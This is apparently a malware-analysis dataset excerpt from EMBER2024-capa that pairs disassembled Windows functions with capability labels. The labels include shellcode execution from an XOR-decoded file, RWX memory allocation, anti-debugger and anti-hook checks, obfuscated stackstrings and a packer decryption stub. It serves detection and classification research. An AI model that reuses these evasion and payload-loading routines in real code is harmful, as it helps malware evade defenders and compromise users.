joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403d00
Capabilities:
Create process on windows

Disassembly:
mov eax, dword [esp + 8]
mov ecx, dword [eax + 0x114]
mov edx, dword [eax + 0x110]
mov eax, dword [eax + 0x10c]
push ecx
push 0
push edx
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x21
jge 0x403d32
push 0xb
call fcn.00402250
pop ecx
ret

Function at 0x40431a
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x405148
push 0x404460
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 4], 0
push 1
call dword [sym.imp.MSVCRT.dll___set_app_type]
pop ecx
or dword [0x409e4c], 0xffffffff
or dword [0x409e50], 0xffffffff
call dword [sym.imp.MSVCRT.dll___p__fmode]
mov ecx, dword [0x409e44]
mov dword [eax], ecx
call dword [sym.imp.MSVCRT.dll___p__commode]
mov ecx, dword [0x409e40]
mov dword [eax], ecx
mov eax, dword [sym.imp.MSVCRT.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x409e48], eax
call fcn.00404451
cmp dword [0x409dd4], 0
jne 0x40439d
push 0x40444e
call dword [sym.imp.MSVCRT.dll___setusermatherr]
pop ecx
call fcn.0040443c
push 0x40600c
push 0x406008
call sub.MSVCRT.dll__initterm
mov eax, dword [0x409e3c]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
push dword [0x409e38]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.MSVCRT.dll___getmainargs]
push 0x406004
push section..data
call sub.MSVCRT.dll__initterm
call dword [sym.imp.MSVCRT.dll___p___initenv]
mov ecx, dword [ebp - 0x20]
mov dword [eax], ecx
push dword [ebp - 0x20]
push dword [ebp - 0x2c]
push dword [ebp - 0x1c]
call fcn.00401000
add esp, 0x30
mov dword [ebp - 0x24], eax
push eax
call dword [sym.imp.MSVCRT.dll_exit]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [ebp - 0x30], ecx
push eax
push ecx
call sub.MSVCRT.dll__XcptFilter
pop ecx
pop ecx
ret
Function at 0x401382
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
xor eax, eax
push eax
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov dword [0x405235], eax
mov dword [0x405164], eax
mov dword [0x40516c], ebp
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x4052a1], eax
xor eax, eax
mov dword [0x40522d], eax
mov dword [0x405231], eax
mov eax, 0x402feb
mov dword [0x405229], eax
mov eax, 0x30
mov dword [0x405221], eax
mov dword [0x405225], 2
mov dword [0x405241], 0x11
mov eax, str.omission
mov dword [0x405249], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x40523d], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x405239], eax
mov dword [0x40524d], eax
push 0x405221
call dword [sym.imp.user32.dll_RegisterClassExA]
push 0
push dword [0x405164]
push 0
push 0
push 0x1ea
push 0x208
push 0xfffff60a
push 0xfffff6d2
push 0xcf0000
push 0x404185
push str.omission
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x405295], eax
push 5
push eax
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x405295]
call dword [sym.imp.user32.dll_UpdateWindow]
xor edi, edi
lea ebx, [0x405251]
jmp 0x401484
push ebx
call dword [sym.imp.user32.dll_TranslateMessage]
push ebx
call dword [sym.imp.user32.dll_DispatchMessageA]
push edi
push edi
push edi
push ebx
call dword [sym.imp.user32.dll_GetMessageA]
test al, al
jne 0x401476
mov eax, dword [0x405259]
call fcn.00402d06
ret
Function at 0x402d15
Capabilities:
Encrypt data using rc4 prga

Disassembly:
lea edx, [0x4052b9]
mov ecx, edx
mov eax, dword [edx]
inc ecx
inc ecx
inc ecx
inc ecx
mov edi, dword [ecx]
mov ecx, eax
mov eax, dword [edi]
add edi, 4
mov esi, edi
mov ebx, esi
add edi, eax
mov edx, edi
dec edx
sub ecx, eax
dec ecx
dec ecx
dec ecx
dec ecx
lea eax, [0x4052b9]
mov dword [eax], ecx
inc eax
inc eax
inc eax
inc eax
mov dword [eax], edi
push ecx
mov ch, byte [edi]
mov al, byte [0x405199]
jmp 0x402d56
add al, byte [esi]
xor al, ch
mov byte [edi], al
mov eax, edx
cmp esi, eax
jne 0x402d65
mov esi, ebx
dec esi
inc esi
pop ecx
inc edi
dec ecx
jne 0x402d49
jmp 0x402d71
mov edi, esi
push 0x39
push 0x4052b9
push 0x111
push dword [0x405295]
call dword [sym.imp.user32.dll_SendMessageA]
mov ecx, dword [0x4052b9]
mov edi, dword [0x4052bd]
mov esi, dword [0x4052ad]
mov al, byte [esi]
mov byte [edi], al
inc esi
inc edi
dec ecx
jne 0x402d9d
mov esi, dword [0x405194]
mov ecx, dword [0x405190]
push ecx
add ecx, esi
mov dword [0x405279], ecx
pop ecx
mov eax, dword [esi]
inc esi
inc esi
nop
inc esi
inc esi
mov edi, dword [0x4052ad]
mov ebx, esi
add ebx, eax
mov dword [0x405275], ebx
mov edx, esi
add esi, eax
mov ecx, 0
movzx eax, byte [edx]
inc eax
cmp edx, ebx
jae 0x402e44
cmp eax, ecx
jae 0x402de9
ret
sub eax, ecx
mov ecx, eax
test ecx, ecx
je 0x402dfa
mov al, byte [esi]
mov byte [edi], al
inc esi
inc edi
dec ecx
jne 0x402df1
inc edx
mov al, byte [edx]
inc edx
movzx ecx, byte [edx]
test ecx, ecx
je 0x402e0d
push ecx
mov byte [edi], al
inc edi
dec ecx
jne 0x402e06
pop ecx
inc edx
movzx eax, byte [edx]
inc cl
cmp cl, 0
jne 0x402e2e
inc al
cmp al, 0
jne 0x402e26
inc edx
movzx eax, word [edx]
inc edx
inc edx
jmp 0x402e2a
mov al, 0
dec al
dec cl
jmp 0x402e40
dec cl
inc al
cmp al, 0
jne 0x402e3e
inc edx
movzx eax, word [edx]
inc edx
inc edx
jmp 0x402e40
dec al
jmp 0x402de0
mov ecx, dword [0x405279]
sub ecx, esi
test ecx, ecx
je 0x402e59
mov al, byte [esi]
mov byte [edi], al
inc esi
inc edi
dec ecx
jne 0x402e50
mov edi, dword [0x4052ad]
mov dword [0x4052ad], edi
ret
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10

Function at 0x432004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..text
nop
mov ebx, 0x40c7d0
nop
mov ecx, 0x70ce152d
nop
nop
nop
test eax, eax
nop
je 0x43204e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x432024
nop
nop
mov eax, section..text_1
mov ebx, 0x42f314
nop
mov ecx, 0x2c932d5c
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x432084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x100019a0
Capabilities:
Check for debugger via api
Encode data using xor
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x10051018]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], 0
call fcn.10001900
test eax, eax
jne 0x10001a9f
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
cmp dword [ebp - 8], 0
jne 0x10001a9f
movaps xmm0, xmmword [0x1004aa20]
xor eax, eax
movups xmmword [ebp - 0x38], xmm0
mov dword [ebp - 0x28], 0x1a242523
mov dword [ebp - 0x24], 0x2f292538
mov word [ebp - 0x20], 0x3939
mov byte [ebp - 0x1e], 0
mov cl, byte [ebp - 0x38]
xor byte [ebp + eax - 0x37], cl
inc eax
cmp eax, 0x19
jb 0x10001a07
push ebx
mov byte [ebp - 0x1c], 0x7a
mov al, 0x14
xor al, byte [ebp - 0x1c]
mov bl, 0x16
mov ah, bl
mov byte [ebp - 0x1b], al
mov al, byte [ebp - 0x1c]
mov dl, 0x1e
mov bh, ah
mov byte [ebp - 0xd], ah
xor bl, al
mov byte [ebp - 0x12], 0
xor ah, al
mov byte [ebp - 0x1e], 0
xor bh, al
mov byte [ebp - 0x17], ah
mov dh, dl
mov byte [ebp - 0x18], bl
xor dl, al
mov byte [ebp - 0x14], bh
xor dh, al
mov byte [ebp - 0x19], dl
mov cl, 0xe
mov byte [ebp - 0x15], dh
xor cl, al
mov byte [ebp - 0x12], 0
mov ch, 0x54
mov byte [ebp - 0x1a], cl
xor ch, al
mov al, byte [ebp - 0xd]
xor al, byte [ebp - 0x1c]
mov byte [ebp - 0x13], al
lea eax, [ebp - 0x37]
push eax
lea eax, [ebp - 0x1b]
mov byte [ebp - 0x16], ch
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
pop ebx
test eax, eax
je 0x10001aa7
push 0
push 4
lea ecx, [ebp - 0xc]
push ecx
push 7
push 0xffffffffffffffff
call eax
test eax, eax
je 0x10001aa7
cmp dword [ebp - 0xc], 0
je 0x10001aa7
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100406c0
mov esp, ebp
pop ebp
ret

Function at 0x10001ac0
Capabilities:
Encode data using xor
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
movaps xmm0, xmmword [0x1004a880]
xor ecx, ecx
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x1c], 0x38220e28
mov dword [ebp - 0x18], 0x3f283923
mov byte [ebp - 0x14], 0
mov al, byte [ebp - 0x2c]
xor byte [ebp + ecx - 0x2b], al
inc ecx
cmp ecx, 0x17
jb 0x10001ae5
mov byte [ebp - 0x14], 0
mov cl, 0x7e
mov dword [ebp - 0x10], 0xc1b157e
xor eax, eax
mov dword [ebp - 0xc], 0x4d121b10
mov dword [ebp - 8], 0x121a504c
mov word [ebp - 4], 0x12
xor byte [ebp + eax - 0xf], cl
inc eax
cmp eax, 0xc
jae 0x10001b24
mov cl, byte [ebp - 0x10]
jmp 0x10001b15
lea eax, [ebp - 0x2b]
mov byte [ebp - 3], 0
push eax
lea eax, [ebp - 0xf]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, eax
call fcn.1000f020
cmp al, 0xe9
jne 0x10001b50
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esp, ebp
pop ebp
ret
Function at 0x10001b60
Capabilities:
Contain obfuscated stackstrings
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov cl, 0x3c
mov dword [ebp - 0x10], 0x5155483c
mov dword [ebp - 0xc], 0x48597b59
xor eax, eax
mov dword [ebp - 8], 0x59515568
mov byte [ebp - 4], 0
xor byte [ebp + eax - 0xf], cl
inc eax
cmp eax, 0xb
jae 0x10001b92
mov cl, byte [ebp - 0x10]
jmp 0x10001b83
mov byte [ebp - 4], 0
mov cl, 0x62
mov dword [ebp - 0x20], 0x10070962
xor eax, eax
mov dword [ebp - 0x1c], 0x510e070c
mov dword [ebp - 0x18], 0xe064c50
mov word [ebp - 0x14], 0xe
xor byte [ebp + eax - 0x1f], cl
inc eax
cmp eax, 0xc
jae 0x10001bc4
mov cl, byte [ebp - 0x20]
jmp 0x10001bb5
lea eax, [ebp - 0xf]
mov byte [ebp - 0x13], 0
push eax
lea eax, [ebp - 0x1f]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, eax
call fcn.1000f020
cmp al, 0xe9
jne 0x10001bf0
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esp, ebp
pop ebp
ret

Function at 0x10001c00
Capabilities:
Contain obfuscated stackstrings
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov cl, 0xd
mov dword [ebp - 0x10], 0x79684a0d
mov dword [ebp - 0xc], 0x666e6459
xor eax, eax
mov dword [ebp - 8], 0x6378624e
mov word [ebp - 4], 0x79
xor byte [ebp + eax - 0xf], cl
inc eax
cmp eax, 0xc
jae 0x10001c34
mov cl, byte [ebp - 0x10]
jmp 0x10001c25
mov byte [ebp - 3], 0
mov cl, 0x58
mov dword [ebp - 0x20], 0x2a3d3358
xor eax, eax
mov dword [ebp - 0x1c], 0x6b343d36
mov dword [ebp - 0x18], 0x343c766a
mov word [ebp - 0x14], 0x34
xor byte [ebp + eax - 0x1f], cl
inc eax
cmp eax, 0xc
jae 0x10001c66
mov cl, byte [ebp - 0x20]
jmp 0x10001c57
lea eax, [ebp - 0xf]
mov byte [ebp - 0x13], 0
push eax
lea eax, [ebp - 0x1f]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, eax
call fcn.1000f020
cmp al, 0xe9
jne 0x10001c92
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esp, ebp
pop ebp
ret

Function at 0x10001ca0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x10051018]
xor eax, ebp
mov dword [ebp - 4], eax
movaps xmm0, xmmword [0x1004a2d0]
xor eax, eax
movups xmmword [ebp - 0x28], xmm0
nop dword [eax]
mov cl, byte [ebp - 0x28]
xor byte [ebp + eax - 0x27], cl
inc eax
cmp eax, 0xe
jb 0x10001cc0
mov byte [ebp - 0x19], 0
mov cl, 0x32
mov dword [ebp - 0x18], 0x60777932
xor eax, eax
mov dword [ebp - 0x14], 0x17e777c
mov dword [ebp - 0x10], 0x5e561c00
mov word [ebp - 0xc], 0x5e
xor byte [ebp + eax - 0x17], cl
inc eax
cmp eax, 0xc
jae 0x10001cff
mov cl, byte [ebp - 0x18]
jmp 0x10001cf0
lea eax, [ebp - 0x27]
mov byte [ebp - 0xb], 0
push eax
lea eax, [ebp - 0x17]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 1
lea ecx, [ebp - 5]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
cmp byte [ebp - 5], 0xe9
mov ecx, dword [ebp - 4]
sete al
xor ecx, ebp
call fcn.100406c0
mov esp, ebp
pop ebp
ret
Function at 0x10001d50
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x1004c230
push 0x10041587
mov eax, dword fs:[0]
push eax
add esp, 0xffffffc0
mov eax, dword [0x10051018]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x48], 0
xor eax, eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 0
lea ecx, [ebp - 0x48]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 0x40
push 0x3000
mov edx, dword [ebp - 0x44]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x10001de9
xor al, al
jmp 0x10001e72
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x50], eax
mov ecx, dword [ebp - 0x50]
mov byte [ecx], 0xc3
lea edx, [ebp - 0x20]
push edx
push 0x140
mov eax, dword [ebp - 0x44]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x10001e14
xor al, al
jmp 0x10001e72
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x24]
push 0x10001e5f
jmp eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.100406c0
mov esp, ebp
pop ebp
ret
Function at 0x10002410
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
movaps xmm0, xmmword [0x1004a950]
xor ecx, ecx
movups xmmword [ebp - 0x14], xmm0
mov word [ebp - 4], 0x222c
mov byte [ebp - 2], 0
nop dword [eax]
mov al, byte [ebp - 0x14]
xor byte [ebp + ecx - 0x13], al
inc ecx
cmp ecx, 0x11
jb 0x10002430
lea eax, [ebp - 0x13]
mov byte [ebp - 2], 0
push eax
call fcn.10002850
cmp eax, 0xba2d38a3
je 0x10002457
xor al, al
mov esp, ebp
pop ebp
ret
movaps xmm0, xmmword [str._bLiiRgfmjd]
xor ecx, ecx
movups xmmword [ebp - 0x14], xmm0
mov al, byte [ebp - 0x14]
xor byte [ebp + ecx - 0x13], al
inc ecx
cmp ecx, 0xe
jb 0x10002464
lea eax, [ebp - 0x13]
mov byte [ebp - 5], 0
push eax
call fcn.10002850
cmp eax, 0x27b35bb1
sete al
mov esp, ebp
pop ebp
ret
Function at 0x10002710
Capabilities:
Hash data using crc32b

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0x400
push 0
push 0x10052ed0
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
xor ecx, ecx
mov dword [ebp - 4], ecx
push ebx
nop
xor eax, eax
test cl, 1
je 0x1000273b
bts eax, 7
shr ecx, 1
test cl, 1
je 0x10002746
bts eax, 6
shr ecx, 1
test cl, 1
je 0x10002751
bts eax, 5
shr ecx, 1
test cl, 1
je 0x1000275c
bts eax, 4
shr ecx, 1
test cl, 1
je 0x10002767
bts eax, 3
shr ecx, 1
test cl, 1
je 0x10002772
bts eax, 2
shr ecx, 1
test cl, 1
je 0x1000277d
bts eax, 1
test cl, 2
je 0x10002786
bts eax, 0
shl eax, 0x18
mov ecx, eax
add eax, eax
sar ecx, 0x1f
and ecx, 0x4c11db7
xor ecx, eax
mov edx, ecx
sar edx, 0x1f
and edx, 0x4c11db7
lea eax, [ecx + ecx]
xor edx, eax
mov ecx, edx
sar ecx, 0x1f
and ecx, 0x4c11db7
lea eax, [edx + edx]
xor ecx, eax
mov edx, ecx
sar edx, 0x1f
and edx, 0x4c11db7
lea eax, [ecx + ecx]
xor edx, eax
mov ecx, edx
sar ecx, 0x1f
and ecx, 0x4c11db7
lea eax, [edx + edx]
xor ecx, eax
mov edx, ecx
sar edx, 0x1f
and edx, 0x4c11db7
lea eax, [ecx + ecx]
xor edx, eax
mov ecx, edx
sar ecx, 0x1f
and ecx, 0x4c11db7
lea eax, [edx + edx]
xor ecx, eax
mov ebx, ecx
sar ebx, 0x1f
and ebx, 0x4c11db7
lea eax, [ecx + ecx]
xor ebx, eax
mov eax, dword [ebp - 4]
xor edx, edx
mov dword [eax*4 + 0x10052ed0], ebx
lea ecx, [edx + 1]
test bl, 1
je 0x10002826
mov eax, 0x20
sub eax, ecx
bts edx, eax
inc ecx
shr ebx, 1
cmp ecx, 0x21
jl 0x10002817
mov ecx, dword [ebp - 4]
mov dword [ecx*4 + 0x10052ed0], edx
inc ecx
mov dword [ebp - 4], ecx
cmp ecx, 0xff
jle 0x10002730
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10002850
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
mov eax, dword [0x10051018]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push 0x100457c8
push eax
lea eax, [ebp - 0x408]
mov dword [ebp - 0x408], 0
push eax
or ebx, 0xffffffff
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen_s]
add esp, 0xc
test eax, eax
jne 0x1000292f
mov eax, dword [ebp - 0x408]
test eax, eax
je 0x1000292f
push edi
mov edi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
push eax
push 0x400
lea eax, [ebp - 0x404]
push 1
push eax
call edi
mov edx, eax
add esp, 0x10
test edx, edx
je 0x1000290a
push esi
lea esi, [ebp - 0x404]
test edx, edx
je 0x100028ea
nop dword [eax]
movzx eax, byte [esi]
lea esi, [esi + 1]
movzx ecx, bl
xor ecx, eax
shr ebx, 8
xor ebx, dword [ecx*4 + 0x10052ed0]
sub edx, 1
jne 0x100028d0
push dword [ebp - 0x408]
lea eax, [ebp - 0x404]
push 0x400
push 1
push eax
call edi
mov edx, eax
add esp, 0x10
test edx, edx
jne 0x100028c2
pop esi
push dword [ebp - 0x408]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
not ebx
mov eax, ebx
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100406c0
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
xor ecx, ebp
pop ebx
call fcn.100406c0
mov esp, ebp
pop ebp
ret 4
Function at 0x10004310
Capabilities:
Create thread
Terminate process

Disassembly:
call fcn.10002710
call fcn.10001f80
test al, al
je 0x10004338
call fcn.10002410
test al, al
je 0x10004338
call fcn.10002490
test al, al
je 0x10004338
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call fcn.10013650
mov dword [0x1005334c], eax
test eax, eax
je 0x1000434d
mov ecx, eax
call fcn.10013840
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x10003ec0
push 0
push 0
mov dword [0x100532d8], eax
mov dword [0x100532dc], edx
mov dword [0x100532e8], eax
mov dword [0x100532ec], edx
call esi
mov ebx, eax
test ebx, ebx
jne 0x10004391
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
push 0
push 0
push 0
push 0x100041c0
push 0
push 0
call esi
mov edi, eax
test edi, edi
jne 0x100043b0
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov esi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x64
push ebx
call esi
push 0x64
push edi
call esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call esi
push edi
call esi
pop edi
pop esi
pop ebx
ret
Function at 0x10009670
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10042436
mov eax, dword fs:[0]
push eax
sub esp, 0x184
mov eax, dword [0x10051018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, edx
mov esi, ecx
mov dword [ebp - 0x170], esi
push 0
lea eax, [ebp - 0x16f]
mov word [ebp - 0x170], 0x2f
push eax
lea ecx, [ebp - 0x140]
mov dword [ebp - 0x190], 0
mov byte [ebp - 0x16f], 0
mov dword [ebp - 0x12c], 0xf
mov dword [ebp - 0x130], 0
mov byte [ebp - 0x140], 0
call fcn.10004e90
mov dword [ebp - 4], 0
test edi, edi
jne 0x1000971f
lea eax, [ebp - 0x140]
mov ecx, esi
push eax
call fcn.100044e0
mov ecx, dword [ebp - 0x12c]
cmp ecx, 0x10
jb 0x100098a5
inc ecx
push ecx
jmp 0x1000989a
movaps xmm0, xmmword [0x1004adf0]
xor ecx, ecx
movups xmmword [ebp - 0x18c], xmm0
mov dword [ebp - 0x17c], 0x6d65256d
mov dword [ebp - 0x178], 0x6d682c
mov dword [ebp - 0x174], 0x56d72
nop dword [eax]
mov al, byte [ebp - 0x18c]
xor byte [ebp + ecx - 0x18b], al
inc ecx
cmp ecx, 0x1a
jb 0x10009750
cmp byte [ebp - 0x18b], 0
mov byte [ebp - 0x171], 0
mov dword [ebp - 0x114], 0xf
mov dword [ebp - 0x118], 0
mov byte [ebp - 0x128], 0
jne 0x10009792
xor ecx, ecx
jmp 0x100097a9
lea ecx, [ebp - 0x18b]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100097a0
sub ecx, edx
push ecx
lea eax, [ebp - 0x18b]
push eax
lea ecx, [ebp - 0x128]
call fcn.10004e90
lea eax, [ebp - 0x148]
mov byte [ebp - 4], 1
push eax
lea eax, [ebp - 0x16c]
mov dword [ebp - 0x148], edi
push eax
mov dword [ebp - 0x144], 0
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64_s]
cmp dword [ebp - 0x114], 0x10
lea ecx, [ebp - 0x16c]
push ecx
lea eax, [ebp - 0x128]
cmovae eax, dword [ebp - 0x128]
push eax
lea eax, [ebp - 0x110]
push 0x100
push eax
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_strftime]
add esp, 0x18
cmp byte [ebp - 0x110], 0
jne 0x10009822
xor ecx, ecx
jmp 0x10009839
lea ecx, [ebp - 0x110]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10009830
sub ecx, edx
push ecx
lea eax, [ebp - 0x110]
push eax
lea ecx, [ebp - 0x140]
call fcn.10004e90
lea eax, [ebp - 0x140]
mov ecx, esi
push eax
call fcn.100044e0
mov eax, dword [ebp - 0x114]
cmp eax, 0x10
jb 0x10009872
inc eax
push eax
push dword [ebp - 0x128]
call fcn.10005600
mov eax, dword [ebp - 0x12c]
mov dword [ebp - 0x114], 0xf
mov dword [ebp - 0x118], 0
mov byte [ebp - 0x128], 0
cmp eax, 0x10
jb 0x100098a5
inc eax
push eax
push dword [ebp - 0x140]
call fcn.10005600
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100406c0
mov esp, ebp
pop ebp
ret